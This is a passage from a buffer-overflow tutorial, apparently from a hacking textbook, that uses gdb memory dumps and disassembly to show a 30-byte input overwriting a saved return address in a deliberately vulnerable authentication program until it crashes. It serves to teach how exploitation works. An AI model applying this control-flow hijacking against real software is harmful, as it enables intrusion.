    $1 = 64
    (gdb) x/s password_buffer
    0xbffff7c0:      "?o??\200????????o???G??20\20504\b?????\20404\b????20
    \20504\bH???????02"
    (gdb) x/x &auth_flag
    0xbffff7bc:     0x00000000
    (gdb)
    

    Continuing to the second breakpoint in check_authentication(), a stack frame (shown in bold) is pushed onto the stack when the function is called. Since the stack grows upward toward lower memory addresses, the stack pointer is now 64 bytes less at 0xbffff7a0. The size and structure of a stack frame can vary greatly, depending on the function and certain compiler optimizations. For example, the first 24 bytes of this stack frame are just padding put there by the compiler. The local stack variables, auth_flag and password_buffer, are shown at their respective memory locations in the stack frame. The auth_flag is shown at 0xbffff7bc, and the 16 bytes of the password buffer are shown at 0xbffff7c0.

    The stack frame contains more than just the local variables and padding. Elements of the check_authentication() stack frame are shown below.

    First, the memory saved for the local variables is shown in italic. This starts at the auth_flag variable at 0xbffff7bc and continues through the end of the 16-byte password_buffer variable. The next few values on the stack are just padding the compiler threw in, plus something called the saved frame pointer. If the program is compiled with the flag -fomit-frame-pointer for optimization, the frame pointer won’t be used in the stack frame. At the value 0x080484bb is the return address of the stack frame, and at the address 0xbffffe9b7 is a pointer to a string containing 30 As. This must be the argument to the check_authentication() function.

    Code View:

    (gdb) x/32xw $esp
    0xbffff7a0:     0x00000000      0x08049744      0xbffff7b8      0x080482d9 
    0xbffff7b0:     0xb7f9f729      0xb7fd6ff4      0xbffff7e8       0x00000000 
    0xbffff7c0:     0xb7fd6ff4      0xbffff880      0xbffff7e8      0xb7fd6ff4 
    0xbffff7d0:     0xb7ff47b0      0x08048510      0xbffff7e8     
    
    
    
    0x080484bb 
    0xbffff7e0:    
    
    
    
     0xbffff9b7      0x08048510      0xbffff848      0xb7eafebc
    0xbffff7f0:     0x00000002      0xbffff874      0xbffff880      0xb8001898
    0xbffff800:     0x00000000      0x00000001      0x00000001      0x00000000
    0xbffff810:     0xb7fd6ff4      0xb8000ce0      0x00000000      0xbffff848
    (gdb) x/32xb 0xbffff9b7
    0xbffff9b7:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
    0xbffff9bf:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
    0xbffff9c7:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
    0xbffff9cf:     0x41    0x41    0x41    0x41    0x41    0x41    0x00    0x53
    (gdb) x/s 0xbffff9b7
    0xbffff9b7:      'A' <repeats 30 times>
    (gdb)
    

    The return address in a stack frame can be located by understanding how the stack frame is created. This process begins in the main() function, even before the function call.

    Code View:

    (gdb) disass main
    Dump of assembler code for function main:
    0x08048474 <main+0>:    push   ebp
    0x08048475 <main+1>:    mov    ebp,esp
    0x08048477 <main+3>:    sub    esp,0x8
    0x0804847a <main+6>:    and    esp,0xfffffff0
    0x0804847d <main+9>:    mov    eax,0x0
    0x08048482 <main+14>:   sub    esp,eax
    0x08048484 <main+16>:   cmp    DWORD PTR [ebp+8],0x1
    0x08048488 <main+20>:   jg     0x80484ab <main+55>
    0x0804848a <main+22>:   mov    eax,DWORD PTR [ebp+12]
    0x0804848d <main+25>:   mov    eax,DWORD PTR [eax]
    0x0804848f <main+27>:   mov    DWORD PTR [esp+4],eax
    0x08048493 <main+31>:   mov    DWORD PTR [esp],0x80485e5
    0x0804849a <main+38>:   call   0x804831c <printf@plt>
    0x0804849f <main+43>:   mov    DWORD PTR [esp],0x0
    0x080484a6 <main+50>:   call   0x804833c <exit@plt>
    0x080484ab <main+55>:   mov    eax,DWORD PTR [ebp+12]
    0x080484ae <main+58>:   add    eax,0x4
    0x080484b1 <main+61>:   mov    eax,DWORD PTR [eax]
    0x080484b3 <main+63>:   mov    DWORD PTR [esp],eax
    0x080484b6 <main+66>:   call   0x8048414 <check_authentication>
    0x080484bb <main+71>:   test   eax,eax
    0x080484bd <main+73>:   je     0x80484e5 <main+113>
    0x080484bf <main+75>:   mov    DWORD PTR [esp],0x80485fb
    0x080484c6 <main+82>:   call   0x804831c <printf@plt>
    0x080484cb <main+87>:   mov    DWORD PTR [esp],0x8048619
    0x080484d2 <main+94>:   call   0x804831c <printf@plt>
    0x080484d7 <main+99>:   mov    DWORD PTR [esp],0x8048630
    0x080484de <main+106>:  call   0x804831c <printf@plt>
    0x080484e3 <main+111>:  jmp    0x80484f1 <main+125>
    0x080484e5 <main+113>:  mov    DWORD PTR [esp],0x804864d
    0x080484ec <main+120>:  call   0x804831c <printf@plt>
    0x080484f1 <main+125>:  leave
    0x080484f2 <main+126>:  ret
    End of assembler dump.
    (gdb)
    

    Notice the two lines shown in bold on page 131. At this point, the EAX register contains a pointer to the first command-line argument. This is also the argument to check_authentication(). This first assembly instruction writes EAX to where ESP is pointing (the top of the stack). This starts the stack frame for check_authentication() with the function argument. The second instruction is the actual call. This instruction pushes the address of the next instruction to the stack and moves the execution pointer register (EIP) to the start of the check_authentication() function. The address pushed to the stack is the return address for the stack frame. In this case, the address of the next instruction is 0x080484bb, so that is the return address.

    (gdb) disass check_authentication
    Dump of assembler code for function check_authentication:
    0x08048414 <check_authentication+0>:    push   ebp
    0x08048415 <check_authentication+1>:    mov    ebp,esp
    0x08048417 <check_authentication+3>:    sub    esp,0x38
    
    ...
    
    0x08048472 <check_authentication+94>:   leave
    0x08048473 <check_authentication+95>:   ret
    End of assembler dump.
    (gdb) p 0x38
    $3 = 56
    (gdb) p 0x38 + 4 + 4
    $4 = 64
    (gdb)

    Execution will continue into the check_authentication() function as EIP is changed, and the first few instructions (shown in bold above) finish saving memory for the stack frame. These instructions are known as the function prologue. The first two instructions are for the saved frame pointer, and the third instruction subtracts 0x38 from ESP. This saves 56 bytes for the local variables of the function. The return address and the saved frame pointer are already pushed to the stack and account for the additional 8 bytes of the 64-byte stack frame.

    When the function finishes, the leave and ret instructions remove the stack frame and set the execution pointer register (EIP) to the saved return address in the stack frame ( ). This brings the program execution back to the next instruction in main() after the function call at 0x080484bb. This process happens every time a function is called in any program.

    Code View:

    (gdb) x/32xw $esp
    0xbffff7a0:     0x00000000      0x08049744      0xbffff7b8      0x080482d9
    0xbffff7b0:     0xb7f9f729      0xb7fd6ff4      0xbffff7e8      0x00000000
    0xbffff7c0:     0xb7fd6ff4      0xbffff880      0xbffff7e8      0xb7fd6ff4
    0xbffff7d0:     0xb7ff47b0      0x08048510      0xbffff7e8   
    
    
    
    0x080484bb
    0xbffff7e0:     0xbffff9b7      0x08048510      0xbffff848      0xb7eafebc
    0xbffff7f0:     0x00000002      0xbffff874      0xbffff880      0xb8001898
    0xbffff800:     0x00000000      0x00000001      0x00000001      0x00000000
    0xbffff810:     0xb7fd6ff4      0xb8000ce0      0x00000000      0xbffff848
    (gdb) cont
    Continuing.
    
    Breakpoint 3, check_authentication (password=0xbffff9b7 'A' <repeats 30 times>)
        at auth_overflow2.c:16
    16              return auth_flag;
    (gdb) x/32xw $esp
    0xbffff7a0:     0xbffff7c0      0x080485dc      0xbffff7b8      0x080482d9
    0xbffff7b0:     0xb7f9f729      0xb7fd6ff4      0xbffff7e8      0x00000000
    0xbffff7c0:     0x41414141      0x41414141      0x41414141      0x41414141
    0xbffff7d0:     0x41414141      0x41414141      0x41414141   
    
    
    
    0x08004141
    0xbffff7e0:     0xbffff9b7      0x08048510      0xbffff848      0xb7eafebc
    0xbffff7f0:     0x00000002      0xbffff874      0xbffff880      0xb8001898
    0xbffff800:     0x00000000      0x00000001      0x00000001      0x00000000
    0xbffff810:     0xb7fd6ff4      0xb8000ce0      0x00000000      0xbffff848
    (gdb) cont
    Continuing.
    
    Program received signal SIGSEGV, Segmentation fault.
    0x08004141 in ?? ()
    (gdb)
    

    When some of the bytes of the saved return address are overwritten, the program will still try to use that value to restore the execution pointer register (EIP). This usually results in a crash, since execution is essentially jumping to a random location. But this value doesn’t need to be random. If the overwrite is controlled, execution can, in turn, be controlled to jump to a specific location. But where should we tell it to go?

    Tagged with:
    preload preload preload